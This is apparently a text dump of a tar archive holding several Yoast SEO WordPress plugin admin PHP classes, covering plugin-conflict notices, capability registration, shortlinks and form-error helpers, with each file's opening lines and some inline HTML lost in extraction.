The currently installed version. */ public function get_installed_version() { return $this->current_version; } /** * Determines whether or not the currently installed version of Gutenberg is the latest, fully compatible version. * * @return bool Whether or not the currently installed version is fully compatible. */ public function is_fully_compatible() { return version_compare( $this->current_version, $this->get_latest_release(), '>=' ); } /** * Gets the latest released version of Gutenberg. * * @return string The latest release. */ protected function get_latest_release() { return self::CURRENT_RELEASE; } /** * Gets the minimum supported version of Gutenberg. * * @return string The minumum supported release. */ protected function get_minimum_supported_version() { return self::MINIMUM_SUPPORTED; } /** * Detects the currently installed Gutenberg version. * * @return string The currently installed Gutenberg version. Empty if the version couldn't be detected. */ protected function detect_installed_gutenberg_version() { if ( defined( 'GUTENBERG_VERSION' ) ) { return GUTENBERG_VERSION; } return ''; } } class-yoast-plugin-conflict.php000064400000024520147207033440012621 0ustar00plugins the active plugins will be stored in this * property. * * @var array */ protected $active_conflicting_plugins = []; /** * Property for holding instance of itself. * * @var Yoast_Plugin_Conflict */ protected static $instance; /** * For the use of singleton pattern. Create instance of itself and return this instance. * * @param string $class_name Give the classname to initialize. If classname is * false (empty) it will use it's own __CLASS__. * * @return Yoast_Plugin_Conflict */ public static function get_instance( $class_name = '' ) { if ( is_null( self::$instance ) ) { if ( ! is_string( $class_name ) || $class_name === '' ) { $class_name = self::class; } self::$instance = new $class_name(); } return self::$instance; } /** * Setting instance, all active plugins and search for active plugins. * * Protected constructor to prevent creating a new instance of the * *Singleton* via the `new` operator from outside this class. */ protected function __construct() { // Set active plugins. $this->all_active_plugins = get_option( 'active_plugins' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['action'] ) && is_string( $_GET['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information and only comparing the variable in a condition. $action = wp_unslash( $_GET['action'] ); if ( $action === 'deactivate' ) { $this->remove_deactivated_plugin(); } } // Search for active plugins. $this->search_active_plugins(); } /** * Check if there are conflicting plugins for given $plugin_section. * * @param string $plugin_section Type of plugin conflict (such as Open Graph or sitemap). * * @return bool */ public function check_for_conflicts( $plugin_section ) { static $sections_checked; // Return early if there are no active conflicting plugins at all. if ( empty( $this->active_conflicting_plugins ) ) { return false; } if ( $sections_checked === null ) { $sections_checked = []; } if ( ! in_array( $plugin_section, $sections_checked, true ) ) { $sections_checked[] = $plugin_section; return ( ! empty( $this->active_conflicting_plugins[ $plugin_section ] ) ); } return false; } /** * Checks for given $plugin_sections for conflicts. * * @param array $plugin_sections Set of sections. * * @return void */ public function check_plugin_conflicts( $plugin_sections ) { foreach ( $plugin_sections as $plugin_section => $readable_plugin_section ) { // Check for conflicting plugins and show error if there are conflicts. if ( $this->check_for_conflicts( $plugin_section ) ) { $this->set_error( $plugin_section, $readable_plugin_section ); } } // List of all active sections. $sections = array_keys( $plugin_sections ); // List of all sections. $all_plugin_sections = array_keys( $this->plugins ); /* * Get all sections that are inactive. * These plugins need to be cleared. * * This happens when Sitemaps or OpenGraph implementations toggle active/disabled. */ $inactive_sections = array_diff( $all_plugin_sections, $sections ); if ( ! empty( $inactive_sections ) ) { foreach ( $inactive_sections as $section ) { array_walk( $this->plugins[ $section ], [ $this, 'clear_error' ] ); } } // For active sections clear errors for inactive plugins. foreach ( $sections as $section ) { // By default, clear errors for all plugins of the section. $inactive_plugins = $this->plugins[ $section ]; // If there are active plugins, filter them from being cleared. if ( isset( $this->active_conflicting_plugins[ $section ] ) ) { $inactive_plugins = array_diff( $this->plugins[ $section ], $this->active_conflicting_plugins[ $section ] ); } array_walk( $inactive_plugins, [ $this, 'clear_error' ] ); } } /** * Setting an error on the screen. * * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap). * @param string $readable_plugin_section This is the value for the translation. * * @return void */ protected function set_error( $plugin_section, $readable_plugin_section ) { $notification_center = Yoast_Notification_Center::get(); foreach ( $this->active_conflicting_plugins[ $plugin_section ] as $plugin_file ) { $plugin_name = $this->get_plugin_name( $plugin_file ); $error_message = ''; /* translators: %1$s: 'Facebook & Open Graph' plugin name(s) of possibly conflicting plugin(s), %2$s to Yoast SEO */ $error_message .= '

    ' . sprintf( __( 'The %1$s plugin might cause issues when used in conjunction with %2$s.', 'wordpress-seo' ), '' . $plugin_name . '', 'Yoast SEO' ) . '

    '; $error_message .= '

    ' . sprintf( $readable_plugin_section, 'Yoast SEO', $plugin_name ) . '

    '; /* translators: %s: 'Facebook' plugin name of possibly conflicting plugin */ $error_message .= '' . sprintf( __( 'Deactivate %s', 'wordpress-seo' ), $this->get_plugin_name( $plugin_file ) ) . ' '; $identifier = $this->get_notification_identifier( $plugin_file ); // Add the message to the notifications center. $notification_center->add_notification( new Yoast_Notification( $error_message, [ 'type' => Yoast_Notification::ERROR, 'id' => 'wpseo-conflict-' . $identifier, ] ) ); } } /** * Clear the notification for a plugin. * * @param string $plugin_file Clear the optional notification for this plugin. * * @return void */ public function clear_error( $plugin_file ) { $identifier = $this->get_notification_identifier( $plugin_file ); $notification_center = Yoast_Notification_Center::get(); $notification_center->remove_notification_by_id( 'wpseo-conflict-' . $identifier ); } /** * Loop through the $this->plugins to check if one of the plugins is active. * * This method will store the active plugins in $this->active_plugins. * * @return void */ protected function search_active_plugins() { foreach ( $this->plugins as $plugin_section => $plugins ) { $this->check_plugins_active( $plugins, $plugin_section ); } } /** * Loop through plugins and check if each plugin is active. * * @param array $plugins Set of plugins. * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap). * * @return void */ protected function check_plugins_active( $plugins, $plugin_section ) { foreach ( $plugins as $plugin ) { if ( $this->check_plugin_is_active( $plugin ) ) { $this->add_active_plugin( $plugin_section, $plugin ); } } } /** * Check if given plugin exists in array with all_active_plugins. * * @param string $plugin Plugin basename string. * * @return bool */ protected function check_plugin_is_active( $plugin ) { return in_array( $plugin, $this->all_active_plugins, true ); } /** * Add plugin to the list of active plugins. * * This method will check first if key $plugin_section exists, if not it will create an empty array * If $plugin itself doesn't exist it will be added. * * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap). * @param string $plugin Plugin basename string. * * @return void */ protected function add_active_plugin( $plugin_section, $plugin ) { if ( ! array_key_exists( $plugin_section, $this->active_conflicting_plugins ) ) { $this->active_conflicting_plugins[ $plugin_section ] = []; } if ( ! in_array( $plugin, $this->active_conflicting_plugins[ $plugin_section ], true ) ) { $this->active_conflicting_plugins[ $plugin_section ][] = $plugin; } } /** * Search in $this->plugins for the given $plugin. * * If there is a result it will return the plugin category. * * @param string $plugin Plugin basename string. * * @return int|string */ protected function find_plugin_category( $plugin ) { foreach ( $this->plugins as $plugin_section => $plugins ) { if ( in_array( $plugin, $plugins, true ) ) { return $plugin_section; } } } /** * Get plugin name from file. * * @param string $plugin Plugin path relative to plugins directory. * * @return string|bool Plugin name or false when no name is set. */ protected function get_plugin_name( $plugin ) { $plugin_details = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); if ( $plugin_details['Name'] !== '' ) { return $plugin_details['Name']; } return false; } /** * When being in the deactivation process the currently deactivated plugin has to be removed. * * @return void */ private function remove_deactivated_plugin() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: On the deactivation screen the nonce is already checked by WordPress itself. if ( ! isset( $_GET['plugin'] ) || ! is_string( $_GET['plugin'] ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: On the deactivation screen the nonce is already checked by WordPress itself. $deactivated_plugin = sanitize_text_field( wp_unslash( $_GET['plugin'] ) ); $key_to_remove = array_search( $deactivated_plugin, $this->all_active_plugins, true ); if ( $key_to_remove !== false ) { unset( $this->all_active_plugins[ $key_to_remove ] ); } } /** * Get the identifier from the plugin file. * * @param string $plugin_file Plugin file to get Identifier from. * * @return string */ private function get_notification_identifier( $plugin_file ) { return md5( $plugin_file ); } } class-admin-user-profile.php000064400000006373147207033440012077 0ustar00availability_checker = $availability_checker; $this->notification_center = $notification_center; } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { add_action( 'admin_init', [ $this->availability_checker, 'register' ] ); add_action( 'admin_init', [ $this, 'add_notifications' ] ); } /** * Adds notifications (when necessary). * * @return void */ public function add_notifications() { $checker = $this->availability_checker; // Get all Yoast plugins that have dependencies. $plugins = $checker->get_plugins_with_dependencies(); foreach ( $plugins as $plugin_name => $plugin ) { $notification_id = 'wpseo-suggested-plugin-' . $plugin_name; if ( ! $checker->dependencies_are_satisfied( $plugin ) ) { $this->notification_center->remove_notification_by_id( $notification_id ); continue; } if ( ! $checker->is_installed( $plugin ) ) { $notification = $this->get_yoast_seo_suggested_plugins_notification( $notification_id, $plugin ); $this->notification_center->add_notification( $notification ); continue; } $this->notification_center->remove_notification_by_id( $notification_id ); } } /** * Build Yoast SEO suggested plugins notification. * * @param string $notification_id The id of the notification to be created. * @param array> $plugin The plugin to retrieve the data from. * * @return Yoast_Notification The notification containing the suggested plugin. */ protected function get_yoast_seo_suggested_plugins_notification( $notification_id, $plugin ) { $message = $this->create_install_suggested_plugin_message( $plugin ); return new Yoast_Notification( $message, [ 'id' => $notification_id, 'type' => Yoast_Notification::WARNING, 'capabilities' => [ 'install_plugins' ], ] ); } /** * Creates a message to suggest the installation of a particular plugin. * * @param array $suggested_plugin The suggested plugin. * * @return string The install suggested plugin message. */ protected function create_install_suggested_plugin_message( $suggested_plugin ) { /* translators: %1$s expands to an opening strong tag, %2$s expands to the dependency name, %3$s expands to a closing strong tag, %4$s expands to an opening anchor tag, %5$s expands to a closing anchor tag. */ $message = __( 'It looks like you aren\'t using our %1$s%2$s addon%3$s. %4$sUpgrade today%5$s to unlock more tools and SEO features to make your products stand out in search results.', 'wordpress-seo' ); $install_link = WPSEO_Admin_Utils::get_install_link( $suggested_plugin ); return sprintf( $message, '', $install_link, '', $this->create_more_information_link( $suggested_plugin['url'], $suggested_plugin['title'] ), '' ); } /** * Creates a more information link that directs the user to WordPress.org Plugin repository. * * @param string $url The URL to the plugin's page. * @param string $name The name of the plugin. * * @return string The more information link. */ protected function create_more_information_link( $url, $name ) { return sprintf( '', $url, /* translators: Hidden accessibility text; %1$s expands to the dependency name */ sprintf( __( 'More information about %1$s', 'wordpress-seo' ), $name ) ); } } class-config.php000064400000012127147207033440007634 0ustar00asset_manager = new WPSEO_Admin_Asset_Manager(); } /** * Make sure the needed scripts are loaded for admin pages. * * @return void */ public function init() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; // Don't load the scripts for the following pages. $page_exceptions = in_array( $page, [ Settings_Integration::PAGE, Academy_Integration::PAGE, Support_Integration::PAGE ], true ); $new_dashboard_page = ( $page === General_Page_Integration::PAGE && ! is_network_admin() ); if ( $page_exceptions || $new_dashboard_page ) { // Bail, this is managed in the applicable integration. return; } add_action( 'admin_enqueue_scripts', [ $this, 'config_page_scripts' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'config_page_styles' ] ); } /** * Loads the required styles for the config page. * * @return void */ public function config_page_styles() { wp_enqueue_style( 'dashboard' ); wp_enqueue_style( 'thickbox' ); wp_enqueue_style( 'global' ); wp_enqueue_style( 'wp-admin' ); $this->asset_manager->enqueue_style( 'admin-css' ); $this->asset_manager->enqueue_style( 'monorepo' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; if ( $page === 'wpseo_licenses' ) { $this->asset_manager->enqueue_style( 'tailwind' ); } } /** * Loads the required scripts for the config page. * * @return void */ public function config_page_scripts() { $this->asset_manager->enqueue_script( 'settings' ); wp_enqueue_script( 'dashboard' ); wp_enqueue_script( 'thickbox' ); $alert_dismissal_action = YoastSEO()->classes->get( Alert_Dismissal_Action::class ); $dismissed_alerts = $alert_dismissal_action->all_dismissed(); $script_data = [ 'dismissedAlerts' => $dismissed_alerts, 'isRtl' => is_rtl(), 'isPremium' => YoastSEO()->helpers->product->is_premium(), 'currentPromotions' => YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(), 'webinarIntroFirstTimeConfigUrl' => $this->get_webinar_shortlink(), 'linkParams' => WPSEO_Shortlinker::get_query_params(), 'pluginUrl' => plugins_url( '', WPSEO_FILE ), ]; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; if ( in_array( $page, [ WPSEO_Admin::PAGE_IDENTIFIER, 'wpseo_workouts' ], true ) ) { wp_enqueue_media(); $script_data['userEditUrl'] = add_query_arg( 'user_id', '{user_id}', admin_url( 'user-edit.php' ) ); } if ( $page === 'wpseo_tools' ) { $this->enqueue_tools_scripts(); } $this->asset_manager->localize_script( 'settings', 'wpseoScriptData', $script_data ); $this->asset_manager->enqueue_user_language_script(); } /** * Enqueues and handles all the tool dependencies. * * @return void */ private function enqueue_tools_scripts() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $tool = isset( $_GET['tool'] ) && is_string( $_GET['tool'] ) ? sanitize_text_field( wp_unslash( $_GET['tool'] ) ) : ''; if ( empty( $tool ) ) { $this->asset_manager->enqueue_script( 'yoast-seo' ); } if ( $tool === 'bulk-editor' ) { $this->asset_manager->enqueue_script( 'bulk-editor' ); } } /** * Returns the appropriate shortlink for the Webinar. * * @return string The shortlink for the Webinar. */ private function get_webinar_shortlink() { if ( YoastSEO()->helpers->product->is_premium() ) { return WPSEO_Shortlinker::get( 'https://yoa.st/webinar-intro-first-time-config-premium' ); } return WPSEO_Shortlinker::get( 'https://yoa.st/webinar-intro-first-time-config' ); } } class-expose-shortlinks.php000064400000021127147207033440012070 0ustar00 'https://yoa.st/allow-search-engines', 'shortlinks.advanced.follow_links' => 'https://yoa.st/follow-links', 'shortlinks.advanced.meta_robots' => 'https://yoa.st/meta-robots-advanced', 'shortlinks.advanced.breadcrumbs_title' => 'https://yoa.st/breadcrumbs-title', 'shortlinks.metabox.schema.explanation' => 'https://yoa.st/400', 'shortlinks.metabox.schema.page_type' => 'https://yoa.st/402', 'shortlinks.sidebar.schema.explanation' => 'https://yoa.st/401', 'shortlinks.sidebar.schema.page_type' => 'https://yoa.st/403', 'shortlinks.focus_keyword_info' => 'https://yoa.st/focus-keyword', 'shortlinks.nofollow_sponsored' => 'https://yoa.st/nofollow-sponsored', 'shortlinks.snippet_preview_info' => 'https://yoa.st/snippet-preview', 'shortlinks.cornerstone_content_info' => 'https://yoa.st/1i9', 'shortlinks.upsell.social_preview.social' => 'https://yoa.st/social-preview-facebook', 'shortlinks.upsell.social_preview.x' => 'https://yoa.st/social-preview-twitter', 'shortlinks.upsell.sidebar.news' => 'https://yoa.st/get-news-sidebar', 'shortlinks.upsell.sidebar.focus_keyword_synonyms_button' => 'https://yoa.st/keyword-synonyms-popup-sidebar', 'shortlinks.upsell.sidebar.premium_seo_analysis_button' => 'https://yoa.st/premium-seo-analysis-sidebar', 'shortlinks.upsell.sidebar.focus_keyword_additional_button' => 'https://yoa.st/add-keywords-popup-sidebar', 'shortlinks.upsell.sidebar.additional_link' => 'https://yoa.st/textlink-keywords-sidebar', 'shortlinks.upsell.sidebar.additional_button' => 'https://yoa.st/add-keywords-sidebar', 'shortlinks.upsell.sidebar.keyphrase_distribution' => 'https://yoa.st/keyphrase-distribution-sidebar', 'shortlinks.upsell.sidebar.word_complexity' => 'https://yoa.st/word-complexity-sidebar', 'shortlinks.upsell.sidebar.internal_linking_suggestions' => 'https://yoa.st/internal-linking-suggestions-sidebar', 'shortlinks.upsell.sidebar.highlighting_seo_analysis' => 'https://yoa.st/highlighting-seo-analysis', 'shortlinks.upsell.sidebar.highlighting_readability_analysis' => 'https://yoa.st/highlighting-readability-analysis', 'shortlinks.upsell.sidebar.highlighting_inclusive_analysis' => 'https://yoa.st/highlighting-inclusive-analysis', 'shortlinks.upsell.metabox.news' => 'https://yoa.st/get-news-metabox', 'shortlinks.upsell.metabox.go_premium' => 'https://yoa.st/pe-premium-page', 'shortlinks.upsell.metabox.focus_keyword_synonyms_button' => 'https://yoa.st/keyword-synonyms-popup', 'shortlinks.upsell.metabox.premium_seo_analysis_button' => 'https://yoa.st/premium-seo-analysis-metabox', 'shortlinks.upsell.metabox.focus_keyword_additional_button' => 'https://yoa.st/add-keywords-popup', 'shortlinks.upsell.metabox.additional_link' => 'https://yoa.st/textlink-keywords-metabox', 'shortlinks.upsell.metabox.additional_button' => 'https://yoa.st/add-keywords-metabox', 'shortlinks.upsell.metabox.keyphrase_distribution' => 'https://yoa.st/keyphrase-distribution-metabox', 'shortlinks.upsell.metabox.word_complexity' => 'https://yoa.st/word-complexity-metabox', 'shortlinks.upsell.metabox.internal_linking_suggestions' => 'https://yoa.st/internal-linking-suggestions-metabox', 'shortlinks.upsell.gsc.create_redirect_button' => 'https://yoa.st/redirects', 'shortlinks.readability_analysis_info' => 'https://yoa.st/readability-analysis', 'shortlinks.inclusive_language_analysis_info' => 'https://yoa.st/inclusive-language-analysis', 'shortlinks.activate_premium_info' => 'https://yoa.st/activate-subscription', 'shortlinks.upsell.sidebar.morphology_upsell_metabox' => 'https://yoa.st/morphology-upsell-metabox', 'shortlinks.upsell.sidebar.morphology_upsell_sidebar' => 'https://yoa.st/morphology-upsell-sidebar', 'shortlinks.semrush.volume_help' => 'https://yoa.st/3-v', 'shortlinks.semrush.trend_help' => 'https://yoa.st/3-v', 'shortlinks.semrush.prices' => 'https://yoa.st/semrush-prices', 'shortlinks.semrush.premium_landing_page' => 'https://yoa.st/413', 'shortlinks.wincher.seo_performance' => 'https://yoa.st/wincher-integration', 'shortlinks-insights-estimated_reading_time' => 'https://yoa.st/4fd', 'shortlinks-insights-flesch_reading_ease' => 'https://yoa.st/34r', 'shortlinks-insights-flesch_reading_ease_sidebar' => 'https://yoa.st/4mf', 'shortlinks-insights-flesch_reading_ease_metabox' => 'https://yoa.st/4mg', 'shortlinks-insights-flesch_reading_ease_article' => 'https://yoa.st/34s', 'shortlinks-insights-keyword_research_link' => 'https://yoa.st/keyword-research-metabox', 'shortlinks-insights-upsell-sidebar-prominent_words' => 'https://yoa.st/prominent-words-upsell-sidebar', 'shortlinks-insights-upsell-metabox-prominent_words' => 'https://yoa.st/prominent-words-upsell-metabox', 'shortlinks-insights-upsell-elementor-prominent_words' => 'https://yoa.st/prominent-words-upsell-elementor', 'shortlinks-insights-word_count' => 'https://yoa.st/word-count', 'shortlinks-insights-upsell-sidebar-text_formality' => 'https://yoa.st/formality-upsell-sidebar', 'shortlinks-insights-upsell-metabox-text_formality' => 'https://yoa.st/formality-upsell-metabox', 'shortlinks-insights-upsell-elementor-text_formality' => 'https://yoa.st/formality-upsell-elementor', 'shortlinks-insights-text_formality_info_free' => 'https://yoa.st/formality-free', 'shortlinks-insights-text_formality_info_premium' => 'https://yoa.st/formality', ]; /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { add_filter( 'wpseo_admin_l10n', [ $this, 'expose_shortlinks' ] ); } /** * Adds shortlinks to the passed array. * * @param array $input The array to add shortlinks to. * * @return array The passed array with the additional shortlinks. */ public function expose_shortlinks( $input ) { foreach ( $this->get_shortlinks() as $key => $shortlink ) { $input[ $key ] = WPSEO_Shortlinker::get( $shortlink ); } $input['default_query_params'] = WPSEO_Shortlinker::get_query_params(); return $input; } /** * Retrieves the shortlinks. * * @return array The shortlinks. */ private function get_shortlinks() { if ( ! $this->is_term_edit() ) { return $this->shortlinks; } $shortlinks = $this->shortlinks; $shortlinks['shortlinks.upsell.metabox.focus_keyword_synonyms_button'] = 'https://yoa.st/keyword-synonyms-popup-term'; $shortlinks['shortlinks.upsell.metabox.focus_keyword_additional_button'] = 'https://yoa.st/add-keywords-popup-term'; $shortlinks['shortlinks.upsell.metabox.additional_link'] = 'https://yoa.st/textlink-keywords-metabox-term'; $shortlinks['shortlinks.upsell.metabox.additional_button'] = 'https://yoa.st/add-keywords-metabox-term'; $shortlinks['shortlinks.upsell.sidebar.morphology_upsell_metabox'] = 'https://yoa.st/morphology-upsell-metabox-term'; $shortlinks['shortlinks.upsell.metabox.keyphrase_distribution'] = 'https://yoa.st/keyphrase-distribution-metabox-term'; $shortlinks['shortlinks.upsell.metabox.word_complexity'] = 'https://yoa.st/word-complexity-metabox-term'; $shortlinks['shortlinks.upsell.metabox.internal_linking_suggestions'] = 'https://yoa.st/internal-linking-suggestions-metabox-term'; return $shortlinks; } /** * Checks if the current page is a term edit page. * * @return bool True when page is term edit. */ private function is_term_edit() { global $pagenow; return WPSEO_Taxonomy::is_term_edit( $pagenow ); } } class-yoast-input-validation.php000064400000016275147207033440013023 0ustar00 */ private static $error_descriptions = []; /** * Check whether an option group is a Yoast SEO setting. * * The normal pattern is 'yoast' . $option_name . 'options'. * * @since 12.0 * * @param string $group_name The option group name. * * @return bool Whether or not it's an Yoast SEO option group. */ public static function is_yoast_option_group_name( $group_name ) { return ( strpos( $group_name, 'yoast' ) !== false ); } /** * Adds an error message to the document title when submitting a settings * form and errors are returned. * * Uses the WordPress `admin_title` filter in the WPSEO_Option subclasses. * * @since 12.0 * * @param string $admin_title The page title, with extra context added. * * @return string The modified or original admin title. */ public static function add_yoast_admin_document_title_errors( $admin_title ) { $errors = get_settings_errors(); $error_count = 0; foreach ( $errors as $error ) { // For now, filter the admin title only in the Yoast SEO settings pages. if ( self::is_yoast_option_group_name( $error['setting'] ) && $error['code'] !== 'settings_updated' ) { ++$error_count; } } if ( $error_count > 0 ) { return sprintf( /* translators: %1$s: amount of errors, %2$s: the admin page title */ _n( 'The form contains %1$s error. %2$s', 'The form contains %1$s errors. %2$s', $error_count, 'wordpress-seo' ), number_format_i18n( $error_count ), $admin_title ); } return $admin_title; } /** * Checks whether a specific form input field was submitted with an invalid value. * * @since 12.1 * * @param string $error_code Must be the same slug-name used for the field variable and for `add_settings_error()`. * * @return bool Whether or not the submitted input field contained an invalid value. */ public static function yoast_form_control_has_error( $error_code ) { $errors = get_settings_errors(); foreach ( $errors as $error ) { if ( $error['code'] === $error_code ) { return true; } } return false; } /** * Sets the error descriptions. * * @since 12.1 * * @param array $descriptions An associative array of error descriptions. * For each entry, the key must be the setting variable. * * @return void * * @deprecated 23.3 * @codeCoverageIgnore */ public static function set_error_descriptions( $descriptions = [] ) { // @phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Generic.CodeAnalysis.UnusedFunctionParameter.Found -- Needed for BC. _deprecated_function( __METHOD__, 'Yoast SEO 23.3' ); } /** * Gets all the error descriptions. * * @since 12.1 * * @deprecated 23.3 * @codeCoverageIgnore * * @return array An associative array of error descriptions. */ public static function get_error_descriptions() { _deprecated_function( __METHOD__, 'Yoast SEO 23.3' ); return []; } /** * Gets a specific error description. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * * @return string|null The error description. */ public static function get_error_description( $error_code ) { if ( ! isset( self::$error_descriptions[ $error_code ] ) ) { return null; } return self::$error_descriptions[ $error_code ]; } /** * Gets the aria-invalid HTML attribute based on the submitted invalid value. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * * @return string The aria-invalid HTML attribute or empty string. */ public static function get_the_aria_invalid_attribute( $error_code ) { if ( self::yoast_form_control_has_error( $error_code ) ) { return ' aria-invalid="true"'; } return ''; } /** * Gets the aria-describedby HTML attribute based on the submitted invalid value. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * * @return string The aria-describedby HTML attribute or empty string. */ public static function get_the_aria_describedby_attribute( $error_code ) { if ( self::yoast_form_control_has_error( $error_code ) && self::get_error_description( $error_code ) ) { return ' aria-describedby="' . esc_attr( $error_code ) . '-error-description"'; } return ''; } /** * Gets the error description wrapped in a HTML paragraph. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * * @return string The error description HTML or empty string. */ public static function get_the_error_description( $error_code ) { $error_description = self::get_error_description( $error_code ); if ( self::yoast_form_control_has_error( $error_code ) && $error_description ) { return '

    ' . $error_description . '

    '; } return ''; } /** * Adds the submitted invalid value to the WordPress `$wp_settings_errors` global. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * @param string $dirty_value The submitted invalid value. * * @return void */ public static function add_dirty_value_to_settings_errors( $error_code, $dirty_value ) { global $wp_settings_errors; if ( ! is_array( $wp_settings_errors ) ) { return; } foreach ( $wp_settings_errors as $index => $error ) { if ( $error['code'] === $error_code ) { // phpcs:ignore WordPress.WP.GlobalVariablesOverride -- This is a deliberate action. $wp_settings_errors[ $index ]['yoast_dirty_value'] = $dirty_value; } } } /** * Gets an invalid submitted value. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * * @return string The submitted invalid input field value. * * @deprecated 23.3 * @codeCoverageIgnore */ public static function get_dirty_value( $error_code ) { // @phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Generic.CodeAnalysis.UnusedFunctionParameter.Found -- Needed for BC. _deprecated_function( __METHOD__, 'Yoast SEO 23.3' ); return ''; } /** * Gets a specific invalid value message. * * @since 12.1 * * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name. * * @return string The error invalid value message or empty string. * * @deprecated 23.3 * @codeCoverageIgnore */ public static function get_dirty_value_message( $error_code ) { // @phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Generic.CodeAnalysis.UnusedFunctionParameter.Found -- Needed for BC. _deprecated_function( __METHOD__, 'Yoast SEO 23.3' ); return ''; } } capabilities/class-capability-manager-integration.php000064400000006053147207033440017073 0ustar00manager = $manager; } /** * Registers the hooks. * * @return void */ public function register_hooks() { add_filter( 'members_get_capabilities', [ $this, 'get_capabilities' ] ); add_action( 'members_register_cap_groups', [ $this, 'action_members_register_cap_group' ] ); add_filter( 'ure_capabilities_groups_tree', [ $this, 'filter_ure_capabilities_groups_tree' ] ); add_filter( 'ure_custom_capability_groups', [ $this, 'filter_ure_custom_capability_groups' ], 10, 2 ); } /** * Get the Yoast SEO capabilities. * Optionally append them to an existing array. * * @param array $caps Optional existing capability list. * @return array */ public function get_capabilities( array $caps = [] ) { if ( ! did_action( 'wpseo_register_capabilities' ) ) { do_action( 'wpseo_register_capabilities' ); } return array_merge( $caps, $this->manager->get_capabilities() ); } /** * Add capabilities to its own group in the Members plugin. * * @see members_register_cap_group() * * @return void */ public function action_members_register_cap_group() { if ( ! function_exists( 'members_register_cap_group' ) ) { return; } // Register the yoast group. $args = [ 'label' => esc_html__( 'Yoast SEO', 'wordpress-seo' ), 'caps' => $this->get_capabilities(), 'icon' => 'dashicons-admin-plugins', 'diff_added' => true, ]; members_register_cap_group( 'wordpress-seo', $args ); } /** * Adds Yoast SEO capability group in the User Role Editor plugin. * * @see URE_Capabilities_Groups_Manager::get_groups_tree() * * @param array $groups Current groups. * * @return array Filtered list of capabilty groups. */ public function filter_ure_capabilities_groups_tree( $groups = [] ) { $groups = (array) $groups; $groups['wordpress-seo'] = [ 'caption' => 'Yoast SEO', 'parent' => 'custom', 'level' => 3, ]; return $groups; } /** * Adds capabilities to the Yoast SEO group in the User Role Editor plugin. * * @see URE_Capabilities_Groups_Manager::get_cap_groups() * * @param array $groups Current capability groups. * @param string $cap_id Capability identifier. * * @return array List of filtered groups. */ public function filter_ure_custom_capability_groups( $groups = [], $cap_id = '' ) { if ( in_array( $cap_id, $this->get_capabilities(), true ) ) { $groups = (array) $groups; $groups[] = 'wordpress-seo'; } return $groups; } } capabilities/class-register-capabilities.php000064400000006250147207033440015273 0ustar00register( 'wpseo_bulk_edit', [ 'editor', 'wpseo_editor', 'wpseo_manager' ] ); $manager->register( 'wpseo_edit_advanced_metadata', [ 'editor', 'wpseo_editor', 'wpseo_manager' ] ); $manager->register( 'wpseo_manage_options', [ 'administrator', 'wpseo_manager' ] ); $manager->register( 'view_site_health_checks', [ 'wpseo_manager' ] ); } /** * Revokes the 'wpseo_manage_options' capability from administrator users if it should * only be granted to network administrators. * * @param array $allcaps An array of all the user's capabilities. * @param array $caps Actual capabilities being checked. * @param array $args Optional parameters passed to has_cap(), typically object ID. * @param WP_User $user The user object. * * @return array Possibly modified array of the user's capabilities. */ public function filter_user_has_wpseo_manage_options_cap( $allcaps, $caps, $args, $user ) { // We only need to do something if 'wpseo_manage_options' is being checked. if ( ! in_array( 'wpseo_manage_options', $caps, true ) ) { return $allcaps; } // If the user does not have 'wpseo_manage_options' anyway, we don't need to revoke access. if ( empty( $allcaps['wpseo_manage_options'] ) ) { return $allcaps; } // If the user does not have 'delete_users', they are not an administrator. if ( empty( $allcaps['delete_users'] ) ) { return $allcaps; } $options = WPSEO_Options::get_instance(); if ( $options->get( 'access' ) === 'superadmin' && ! is_super_admin( $user->ID ) ) { unset( $allcaps['wpseo_manage_options'] ); } return $allcaps; } /** * Maybe add manage_privacy_options capability for wpseo_manager user role. * * @param string[] $caps Primitive capabilities required of the user. * @param string[] $cap Capability being checked. * * @return string[] Filtered primitive capabilities required of the user. */ public function map_meta_cap_for_seo_manager( $caps, $cap ) { $user = wp_get_current_user(); // No multisite support. if ( is_multisite() ) { return $caps; } // User must be of role wpseo_manager. if ( ! in_array( 'wpseo_manager', $user->roles, true ) ) { return $caps; } // Remove manage_options cap requirement if requested cap is manage_privacy_options. if ( $cap === 'manage_privacy_options' ) { return array_diff( $caps, [ 'manage_options' ] ); } return $caps; } } 